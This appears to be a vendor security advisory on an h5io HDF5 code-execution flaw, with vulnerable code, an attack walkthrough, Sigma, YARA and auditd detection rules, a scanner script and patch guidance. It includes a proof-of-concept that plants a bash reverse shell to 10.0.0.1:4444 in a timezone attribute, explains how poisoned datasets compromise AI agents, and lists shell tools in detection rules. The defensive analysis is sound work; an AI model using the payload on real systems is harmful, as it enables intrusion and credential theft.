CVE-2026-120499: h5io Arbitrary Code Execution via read_hdf5 Dynamic Evaluation and Unsafe Deserialization
A high-severity code execution vulnerability in the h5io Python library (versions prior to 0.2.6) permits remote attackers to execute arbitrary system commands when an application processes a maliciously structured HDF5 file via h5io.read_hdf5(). Tracked under commit fix afff1d6 and cataloged by VulnCheck as weaponized, the flaw exposes three distinct exploitation primitives: dynamic eval() evaluation of string contents in timezone nodes, unconstrained module importing via _import_class(), and automated unpickling of serialized pandas DataFrame and Series objects. Because h5io is a foundational component in scientific AI research, deep learning tensor storage, and autonomous agent data ingestion pipelines, threat actors poisoning datasets hosted on public repositories (Hugging Face, Kaggle, academic archives) can achieve unconstrained remote code execution on GPU compute clusters and agentic runtime worker nodes. Hermes evaluates CVE-2026-120499 at HTS 89 (HIGH) and assigns an Agentic Security Score (HASS) of 86 (CRITICAL).
HERMES THREAT SCORE & AGENTIC AI DATA PIPELINE INTEGRITY EVALUATION
Target:h5io HDF5 Parser & Serialization Engine (h5io.read_hdf5 / _triage_read / _import_class) [object Object]
1. Executive Summary & Threat Telemetry
Section titled โ1. Executive Summary & Threat TelemetryโOn November 6, 2026, VulnCheck cataloged as weaponized CVE-2026-120499, a critical arbitrary code execution flaw in the h5io Python package (versions prior to 0.2.6). Developed to serialize and deserialize complex scientific data structures, Python dictionaries, NumPy matrices, and pandas DataFrames into Hierarchical Data Format 5 (HDF5) files, h5io is widely integrated into machine learning data pipelines, neural network model weight repositories, and autonomous AI agent toolchains.
The vulnerability stems from multiple unsafe deserialization and dynamic evaluation paths within h5io.read_hdf5(). When an application or autonomous agent ingests an untrusted .h5 or .hdf5 file, h5io executes arbitrary Python code embedded in metadata attributes, loads unconstrained system modules, and deserializes pickled objects. This enables initial access brokers and threat actors to target AI development workstations, high-performance computing (HPC) GPU clusters, and autonomous data ingestion pipelines by distributing poisoned datasets across open-source hubs.
flowchart TD subgraph Distribution["Public Registries & Data Lakes"] Attacker["Threat Actor / Data Poisoner"] PoisonedH5["Poisoned HDF5 File (dataset.h5)\nCrafted timezone node: __import__('os').system(...)"] end
subgraph AgenticPipeline["Autonomous AI & ML Infrastructure"] Agent["Autonomous Research Agent / Data Worker\nTool Call: read_dataset(file_path)"] H5io["h5io.read_hdf5(file)"] TriageNode["_triage_read() on 'timezone'"] EvalExec["Python eval(payload, {'__builtins__': ...})"] end
subgraph Compromise["Host Operating System & Cluster"] Subprocess["Spawn /bin/sh / Reverse Shell"] Creds["Exfiltration of HuggingFace / OpenAI / AWS Tokens"] GPUCluster["Lateral Movement across GPU Worker Nodes"] end
Attacker -->|Uploads Poisoned Artifact| PoisonedH5 PoisonedH5 -->|Ingested by Agent| Agent Agent --> H5io H5io --> TriageNode TriageNode --> EvalExec EvalExec --> Subprocess Subprocess --> Creds Subprocess --> GPUCluster2. Architectural Root Cause & Vulnerability Decomposition
Section titled โ2. Architectural Root Cause & Vulnerability DecompositionโThe vulnerability resides within the internal deserialization logic of h5io/_h5io.py. When reading an HDF5 group, read_hdf5() iterates over datasets and delegates type reconstruction to _triage_read().
In versions prior to 0.2.6, three independent code execution vectors were present:
1. Dynamic eval() Injection in Timezone Parsing
Section titled โ1. Dynamic eval() Injection in Timezone ParsingโTo restore Python timezone objects associated with date and time arrays, h5io inspected whether the dataset group contained a node named timezone. Rather than validating the string against the standard IANA timezone database or using Pythonโs zoneinfo module, h5io passed the stored string directly to eval():
# Vulnerable code snippet from h5io/_h5io.py (before patch 0.2.6)def _triage_read(node): # ... if 'timezone' in node.attrs: tz_str = node.attrs['timezone'] # CRITICAL VULNERABILITY: eval() executed with full builtins available! return eval(tz_str)Because __builtins__ was not restricted, an attacker writing __import__('os').system('id') into the timezone attribute triggers instantaneous shell execution when the file is parsed.
2. Arbitrary Class and Module Importation
Section titled โ2. Arbitrary Class and Module ImportationโFor custom Python objects serialized with class metadata, _import_class() parsed the module path and class name directly from HDF5 node attributes:
# Vulnerable class loaderdef _import_class(module_name, class_name): # Unconstrained import allows loading dangerous modules (e.g., 'os', 'subprocess') mod = __import__(module_name, fromlist=[class_name]) return getattr(mod, class_name)By referencing modules with side effects on import or instantiating callables with user-supplied arguments, arbitrary code is triggered during object initialization.
3. Insecure Pandas Deserialization (Pickle Injection)
Section titled โ3. Insecure Pandas Deserialization (Pickle Injection)โWhen serializing pandas DataFrames or Series, h5io stored complex object columns using Pythonโs pickle.dumps(). During read_hdf5(), these streams were loaded back using pickle.loads(), directly exposing the runtime to classic pickle deserialization gadgets (__reduce__ exploit payloads).
3. Attack Vector & Autonomous Agent Pipeline Exploitation
Section titled โ3. Attack Vector & Autonomous Agent Pipeline ExploitationโIn modern enterprise AI systems, autonomous agents frequently operate tools that download and process external data files:
sequenceDiagram autonumber actor Attacker as Threat Actor participant Hub as Hugging Face / S3 Data Lake participant Agent as Autonomous AI Agent Runtime participant Host as GPU Compute Node / Shell
Note over Attacker,Hub: Step 1: Stage Poisoned HDF5 Artifact Attacker->>Hub: Upload malicious 'research_dataset.h5' Note over Attacker,Hub: Node 'timezone' contains reverse shell stager
Note over Hub,Agent: Step 2: Autonomous Ingestion Agent->>Hub: Query dataset tool ('download_and_inspect_dataset') Hub-->>Agent: Delivers 'research_dataset.h5' Agent->>Agent: Calls tool: h5io.read_hdf5('research_dataset.h5')
Note over Agent,Host: Step 3: Trigger eval() Injection Note over Agent: _triage_read() evaluates node.attrs['timezone'] Agent->>Host: Spawns /bin/sh (reverse shell to attacker C2) Host-->>Attacker: Interactive root/worker shell on GPU node- Payload Generation: The attacker uses
h5pyto create an HDF5 file containing a dataset with the attributetimezoneset to a Python one-liner:import h5pywith h5py.File("malicious.h5", "w") as f:dset = f.create_dataset("data", data=[1, 2, 3])dset.attrs["timezone"] = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')" - Dataset Staging: The artifact is published under a deceptive name (e.g.,
multimodal-medical-tensors-v2.h5) on a machine learning repository. - Execution on Ingestion: When an automated data scraper, a data scientist running exploratory analysis, or an autonomous LLM research agent invokes
h5io.read_hdf5("malicious.h5"),_triage_read()immediately triggerseval(), spawning the reverse shell.
4. Detection, SIEM & Forensic Triage
Section titled โ4. Detection, SIEM & Forensic TriageโDetection involves auditing Python process behavior for unauthorized child process spawning and statically scanning HDF5 files for malicious metadata attributes.
title: Python HDF5 Ingestion Spawning Subshell (CVE-2026-120499)id: 7f8190de-1204-99a1-8d2b-h5iocodeexecstatus: experimentaldescription: Detects Python worker processes running data ingestion libraries spawning suspicious interactive shells or download utilities indicative of h5io exploitation.references: - https://github.com/h5io/h5io/commit/afff1d61b31790f8c27e6c577bb7703eb1883ddd - https://vulncheck.com/advisories/h5io-before-0.2.6-arbitrary-code-execution-via-read-hdf5author: Hermes Codex Cyber Defense Teamdate: 2026-11-07logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/python' - '/python3' - '/python3.11' - '/python3.12' selection_child: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/ncat' selection_cmdline: CommandLine|contains: - '/dev/tcp' - 'python -c' - 'base64' condition: selection_parent and (selection_child or selection_cmdline)level: criticaltags: - attack.execution - attack.t1203 - attack.t1059.006 - cve.2026.120499rule Poisoned_HDF5_h5io_Exploit { meta: description = "Detects malicious HDF5 files exploiting h5io CVE-2026-120499 via timezone eval or pickle attributes" author = "Hermes Codex Cyber Defense Team" date = "2026-11-07" reference = "https://github.com/h5io/h5io/commit/afff1d61b31790f8c27e6c577bb7703eb1883ddd" cve = "CVE-2026-120499" strings: // Standard HDF5 magic header: \x89HDF\r\n\x1a\n $hdf5_magic = { 89 48 44 46 0D 0A 1A 0A }
// Suspicious attribute keys and eval payloads $attr_tz = "timezone" ascii $payload_import = "__import__" ascii $payload_os = "os.system" ascii $payload_subp = "subprocess" ascii $payload_sh = "/bin/sh" ascii $payload_bash = "/bin/bash" ascii condition: $hdf5_magic at 0 and $attr_tz and ( $payload_import or $payload_os or $payload_subp or $payload_sh or $payload_bash )}# Add to /etc/audit/rules.d/ai_agent_sandbox.rules-a always,exit -F arch=b64 -S execve -F ppid=1 -k ai_agent_anomaly-w /tmp/ -p wa -k ai_tmp_watch-w /dev/shm/ -p wa -k ai_shm_watch#!/usr/bin/env python3"""Hermes Codex: Static Security Scanner for HDF5 Files (CVE-2026-120499 Audit)"""import sysimport h5py
def scan_hdf5(filepath): print(f"[*] Scanning {filepath} for CVE-2026-120499 indicators...") try: with h5py.File(filepath, "r") as f: def check_item(name, obj): for attr_key, attr_val in obj.attrs.items(): if attr_key == "timezone" and isinstance(attr_val, (str, bytes)): val_str = str(attr_val) if any(k in val_str for k in ["__import__", "os.", "subprocess", "exec", "eval", "/bin"]): print(f"[-] CRITICAL ALERT: Malicious timezone eval payload detected in '{name}'!") print(f" Payload: {val_str}") return True if "_class" in attr_key and isinstance(attr_val, (str, bytes)): val_str = str(attr_val) if any(k in val_str for k in ["posix", "subprocess", "os"]): print(f"[-] WARNING: Suspicious custom class import attribute in '{name}': {val_str}") return False
f.visititems(check_item) print("[+] Scan complete. No overt h5io eval payloads identified.") except Exception as e: print(f"[!] Error opening file: {e}")
if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python scan_h5.py <path_to_hdf5_file>") sys.exit(1) scan_hdf5(sys.argv[1])5. Comprehensive Remediation & Hardening Strategy
Section titled โ5. Comprehensive Remediation & Hardening StrategyโOrganizations running data science, AI development, and autonomous agent infrastructure must apply immediate package updates and sandbox file ingestion.
Package Upgrade Directives
Section titled โPackage Upgrade DirectivesโUpgrade the h5io Python library across all virtual environments, Docker images, and Jupyterhub kernels:
pip install --upgrade "h5io>=0.2.6"Verify that version 0.2.6 or higher is actively resolved:
python3 -c "import h5io; print(h5io.__version__)"# Output must be: 0.2.6 or higherUpstream Patch Architecture
Section titled โUpstream Patch ArchitectureโIn commit afff1d61b31790f8c27e6c577bb7703eb1883ddd, the maintainers applied three fundamental security remediations:
- Removed
eval()for Timezone Objects: Timezone attributes are parsed exclusively using standardzoneinfo.ZoneInfoorpytz.timezoneconstructors with strict string validation. - Whitelisted Object Importers: Arbitrary module instantiation via
_import_class()was removed; custom objects require explicit registration in a trusted type mapping. - Restricted Pandas Serialization: Pickled pandas byte streams in HDF5 nodes are deprecated and rejected by default, preventing pickle gadget execution.
Architectural Hardening for Autonomous AI Agents
Section titled โArchitectural Hardening for Autonomous AI Agentsโ- Dataset Ingestion Sandboxing:
Autonomous agents should never execute dataset parsing libraries in the root container context. Utilize gVisor (
runsc) or isolated microVMs (Firecracker) for tool execution involving user-uploaded or external files. - Read-Only Model Caches:
Mount Hugging Face and local model weight directories (
~/.cache/huggingface) as read-only volumes during agent inference and dataset evaluation tasks. - Outbound Network Egress Filtering: Restrict egress traffic from AI training worker nodes to internal artifact registries and approved endpoints using Kubernetes NetworkPolicies, blocking reverse shells connecting to attacker C2 infrastructure.